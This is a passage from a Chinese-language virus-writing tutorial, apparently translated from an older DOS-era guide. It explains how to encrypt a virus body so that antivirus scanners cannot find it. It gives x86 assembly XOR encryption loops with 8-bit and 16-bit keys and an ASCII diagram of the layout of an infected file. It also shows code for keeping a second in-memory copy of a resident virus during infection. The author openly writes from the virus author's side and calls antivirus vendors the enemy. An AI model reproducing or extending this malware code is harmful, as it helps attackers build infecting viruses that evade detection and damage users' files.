一個加密了的病毒如下:
___________________________________
| |
___ | Call to decryptor |
| |___________________________________|
| | |<-----|
| | | |
| | Infected file | |
| | | |
| |___________________________________| |
| | |<--| |
| | Virus body | | |
| |___________________________________|___|__|
|--->| | |
| Decryptor | |
|___________________________________|___|
非常簡單,有一個調(diào)用解密程序的call,當(dāng)解密程序解完密之后,它就把控制權(quán)交給病毒,當(dāng)病毒執(zhí)行完自身后,它就把控制權(quán)交給原先的程序。
有一種數(shù)學(xué)運算有一個好處,就是我們可以使用同一個函數(shù)來加密和解密我們的代碼。當(dāng)然,我們要討論XOR了,在加解密中使用得最多得指令。還有兩個指令可以用來實現(xiàn)我們只用一個函數(shù)就可以加密和解密目的:NOT和NEG。這兩個中使用得最多的是第一個指令。當(dāng)然了,我們還可以使用更多的指令進行加密。我將給出我們可以使用的指令的列表:
INC/DEC, ADD/SUB, ROL/ROR, XOR, NOT, MUL/DIV, ADC/SBB, etc...
最簡單的加密我們的病毒是使用如下的例程:
encryption:
mov cx,encrypt_size ; encrypt_end-encrypt_start
mov di,[bp+encrypt_begin] ; From where
mov si,di ; For lodsb/stosb
mov ah,key ; Value for XOR. Subst key with whate
; ver you want
encryption_loop:
lodsb ; Move a byte from DS:SI to AL
xor al,ah
stosb ; Move a byte from AL to ES:DI
loop encryption_loop
ret
這個過程確實很差,它只有255種可能性,因為我們把一個8比特的寄存器作為密鑰(AH)。
當(dāng)然這個是最簡單的實現(xiàn)方法,我們必須注意一些事情:
-如果我們使用這樣的例程,而且我們沒有我們的病毒在內(nèi)存中的備份(在這篇文章中我將討論它),當(dāng)使用這個例程的時候,我們必須不能把解密過程代碼復(fù)制(調(diào)用解密的過程也一樣)到感染文件。
-在病毒第一次產(chǎn)生的時候,我們必須注意病毒的狀態(tài):它沒有被加密。使用xor,在第一次產(chǎn)生的時候,我們可以使用00來加密,并編寫一個過程在代碼中改變這個值,或者簡單地避免在第一次產(chǎn)生的時候使用加密過程。
現(xiàn)在,我們將來看看當(dāng)我們使用一個16比特密鑰加密的上述加密過程:
encryption:
mov cx,(encrypt_size+1)/2 ; encrypt_end-encrypt_start/2
mov di,[bp+encrypt_begin] ; From where
mov si,di ; For lodsw/stosw
mov dx,key ; Value for XOR. Subst key with whate
; ver you want
encryption_loop:
lodsw ; Move a word from DS:SI to AX
xor ax,dx
stosw ; Move a word from AX to ES:DI
loop encryption_loop
ret
問題是:如果我們沒有對拷貝和加密的過程不加密...病毒查殺工具將會做什么呢?它們在我們的病毒(是的,是的,我們花費了大量的時間和精力來反啟發(fā),隱蔽,其它的一些大花招等等也一樣)中找到一個掃描字符串足夠了。在5分鐘之內(nèi)它們就在它們的病毒庫中加入了檢測我們的病毒的方法。??!一個病毒作者花了很多天來編寫的一個病毒,就因為他使用了如此簡單的加密方法,在5分鐘之內(nèi),我們的敵人就找到了檢測的方法!這世界真是太黑暗了!:(
但是,病毒作者從不投降,所以...我們需要是解密程序越小越好。還不夠,在下一章例,你可能將得到最好的答案:)
怎樣使我們的病毒在內(nèi)存里有第二個拷貝呢?這非常簡單。在標(biāo)志將要拷貝的病毒的最后一個字節(jié),我們可以如下:
virus_end label byte ; The label that marks end of virus
enc_buffer db (offset virus_end-offset virus_start) dup (090h)
enc_buffer變量將會只在第一次產(chǎn)生時編碼。當(dāng)我們擴散這個病毒時,這個變量并不會隨著復(fù)制。但是我們可以利用它的偏移地址來放置我們的病毒的第二個復(fù)制。我們能做的是...
-當(dāng)我們把我們的病毒拷貝到內(nèi)存中(一個TSR病毒),我們再一次這樣,并把EXE文件頭放進代碼里,或者在COM文件的頭幾個字節(jié),當(dāng)這些變量向后移動病毒的大小時,我們把這些代碼放到相同的偏移地址。OK,我將更好地解釋它。想象我們有如下代碼:
mov ah,3Fh
mov cx,4
lea dx,old3bytes
int 21h
OK,那么,如果我們在內(nèi)存里面有病毒的第二個拷貝,我們必須把第三行代替為:
lea dx,virus_size+old3bytes
這是嘗試的最好方法...
-或者我們可以在添加的時候拷貝病毒的主體:我們有所有的變量集。改動如下:
mov cx,virus_size
xor si,si
mov di,offset virus_begin
rep movsb